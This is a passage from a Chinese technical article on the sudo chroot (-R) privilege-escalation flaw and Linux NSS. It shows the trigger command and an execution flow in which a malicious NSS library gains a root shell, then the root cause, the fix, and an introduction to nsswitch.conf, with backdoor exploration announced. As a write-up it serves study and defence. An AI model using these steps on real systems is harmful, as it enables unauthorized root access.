src="https://wechat2rss.xlab.app/img-proxy/?k=a0c90ac5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6Yj5aITicuOYotRac10ckvsEqxnTlb6uCQ8KNbe2PdTiasRZSdsLP83ibQOxlMsHONAicphqRBqYq0vj88VibHov5j4uMDZ5vC6X6ACc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 7：触发漏洞</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo -R nop id</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># -R nop：chroot 到 nop 目录</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># id：要执行的命令（无需存在，NSS 加载阶段就已触发，不会真正执行到这里）</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此时 sudo 执行流程如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo -R nop id</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ chroot(&#34;nop&#34;)           ← 切换根目录到攻击者可控的 nop/</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ 读取 nop/etc/nsswitch.conf   ← 加载伪造配置</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ 解析 &#34;passwd: /nop&#34;          ← 尝试加载 libnss_/nop.so.2</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  ├─ dlopen(&#34;libnss_/nop.so.2&#34;)   ← 以 root 身份加载恶意库</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ pwn() 构造函数执行            ← setreuid(0,0) → root shell</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果漏洞利用成功，将直接进入一个 </span><strong style="font-weight: bold;color: black;"><span leaf="">root shell</span></strong><span leaf="">：</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5194444444444445" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019421" src="https://wechat2rss.xlab.app/img-proxy/?k=ffbff6a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YhmMpHNF5LWc5kmkHX3Oomu6vLMParON5OicLA6PZWNCHRU2xL78AnSq9gMA6snfWn4FQ9icx8BbyQm07XAI2VPTwdgl2ibn3bianQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 8：清理</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">rm -rf </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$WORKDIR</span></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">漏洞根因</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个漏洞的根源在于 sudo 对 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-R</span></code><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">--chroot</span></code><span leaf="">）选项的处理时序存在缺陷：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">sudo 是一个 </span><strong style="font-weight: bold;color: black;"><span leaf="">setuid root</span></strong><span leaf=""> 二进制文件，启动时拥有 root 权限</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">从 sudo 1.9.14 开始，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">-R</span></code><span leaf=""> 选项会在</span><strong style="font-weight: bold;color: black;"><span leaf="">策略评估阶段</span></strong><span leaf="">就执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">chroot()</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">chroot 之后，sudo 仍以 root 身份调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwuid()</span></code><span leaf=""> 等函数进行用户身份查询</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">这些函数内部通过 NSS 机制读取 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">chroot</span></code><span leaf=""> 内的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">攻击者完全控制 chroot 内的文件，从而注入恶意 NSS 模块</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">恶意模块在</span><strong style="font-weight: bold;color: black;"><span leaf="">权限降低之前</span></strong><span leaf="">就已执行</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">简而言之：</span><strong style="font-weight: bold;color: black;"><span leaf="">sudo 在一个攻击者可控的环境中，以 root 身份加载了攻击者指定的代码。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">该漏洞已在 sudo 1.9.17p1 中修复，修复方式是</span><strong style="font-weight: bold;color: black;"><span leaf="">回退了 1.9.14 中引入的 chroot 相关变更</span></strong><span leaf="">，并将 chroot 功能标记为 deprecated（已弃用），将在未来版本中完全移除。原因是该功能本身不被广泛使用，且由于 sudo 解析命令的方式，支持用户指定的 chroot 目录容易出错。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">虽然漏洞已经修复了，但是关于 NSS 后门的相关探索还没开始，接下来我们将一点一点探索。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">本文 PDF 版本下载地址： <a href="https://github.com/Just-Hack-For-Fun/papers" target="_blank">https://github.com/Just-Hack-For-Fun/papers</a></span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x02 NSS 介绍</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">NSS，全称 </span><strong style="font-weight: bold;color: black;"><span leaf="">Name Service Switch</span></strong><span leaf="">（名称服务切换），是 Linux/Unix 系统中用于控制&#34;各类名称信息如何解析&#34;的机制。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通俗地说，当系统需要回答这些问题时：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">&#34;用户 alice 的 UID 是多少？&#34;</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">&#34;www.example.com 的 IP 地址是什么？&#34;</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">&#34;80 端口对应什么服务？&#34;</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">&#34;用户 alice 属于哪些组？&#34;</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">背后都是 NSS 在决定</span><strong style="font-weight: bold;color: black;"><span leaf="">去哪里查、按什么顺序查</span></strong><span leaf="">。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">配置文件：/etc/nsswitch.conf</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">NSS 的行为由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code><span leaf=""> 控制。一个典型的配置文件如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">passwd:     files systemd</span><span leaf=""><br/></span><span leaf="">group:      files systemd</span><span leaf=""><br/></span><span leaf="">shadow:     files</span><span leaf=""><br/></span><span leaf="">hosts:      files dns mdns4_minimal [NOTFOUND=return] dns</span><span leaf=""><br/></span><span leaf="">networks:   files</span><span leaf=""><br/></span><span leaf="">protocols:  files</span><span leaf=""><br/></span><span leaf="">services:   files</span><span leaf=""><br/></span><span leaf="">ethers:     files</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每一行的格式为：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">&lt;数据库&gt;: &lt;数据源1&gt; [数据源2] [数据源3] ...</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">系统会</span><strong style="font-weight: bold;color: black;"><span leaf="">从左到右依次查询</span></strong><span leaf="">，直到找到结果或全部尝试完毕。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">数据库列表</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以下为 glibc 支持的用户可见数据库列表（来源：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">man nsswitch.conf</span></code><span leaf=""> 及 glibc 源码 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss/databases.def</span></code><span leaf="">）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">数据库</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">用途</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">相关函数</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">aliases</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">邮件别名（当前被 glibc 忽略）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getaliasent(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ethers</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">以太网 MAC 地址映射</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ether_hostton(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">group</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户组信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getgrent(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">gshadow</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">组密码哈希（shadow group）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getsgnam(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">hosts</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">主机名 ↔ IP 映射</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">gethostbyname(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">initgroups</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">补充组访问列表</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getgrouplist(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">netgroup</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">网络范围的主机/用户列表（用于访问控制）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">setnetgrent(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">networks</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">网络名 ↔ 网络地址</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getnetent(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">passwd</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户账号信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getpwent(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">protocols</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">网络协议名 ↔ 协议号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getprotoent(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">publickey</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Secure RPC 公钥/私钥（NFS、NIS+ 使用）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">—</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">rpc</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">RPC 程序名 ↔ 程序号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getrpcbyname(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">services</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">网络服务名 ↔ 端口映射</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getservent(3)</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">shadow</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户密码哈希（shadow password）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">getspnam(3)</span></code></td></tr></tbody></table><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">说明</span></strong><span leaf="">：glibc 内部还定义了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd_compat</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group_compat</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">shadow_compat</span></code><span leaf=""> 三个伪数据库，用于 compat 模式下的 NIS 查询，普通用户无需关心，因此未列入上表。</span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此外，一些应用程序会扩展自己的 NSS 数据库。例如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf=""> 使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudoers</span></code><span leaf=""> 数据库，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">subuid(5)</span></code><span leaf=""> / </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">subgid(5)</span></code><span leaf=""> 使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">subid</span></code><span leaf=""> 数据库。glibc 会</span><strong style="font-weight: bold;color: black;"><span leaf="">忽略未知的数据库名</span></strong><span leaf="">，而第三方程序可以自行解析。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">常见数据源</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">与数据库不同，</span><strong style="font-weight: bold;color: black;"><span leaf="">数据源列表不是固定的</span></strong><span leaf="">。NSS 的数据源完全取决于系统上安装了哪些 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_*.so.2</span></code><span leaf=""> 共享库——每安装一个共享库，就多一个可用的数据源。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们可以通过查看系统上的库文件来确认当前可用的数据源：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">find / -name </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;libnss_*.so*&#39;</span></span><span leaf=""> -</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">type</span></span><span leaf=""> f 2&gt;/dev/null</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.17777777777777778" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019418" src="https://wechat2rss.xlab.app/img-proxy/?k=a15f75bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YhlfLL6BUlYx2JiaIqiaJS8FKg28ibebdmdMhomtFicktrSa3DOEPd9uW2qiaG16ta4VFMENrhjibG2lQsBVWIDj6ugYibhm2x63lsNyg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Ubuntu Server 24.04 系统上默认有 5 个 NSS 库，对应 5 个数据源。其中 4 个来自 glibc 内置，另外 1 个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_systemd.so.2</span></code><span leaf=""> 来自 systemd 包。如果安装了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss-ldap</span></code><span leaf=""> 包，就会多出 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span 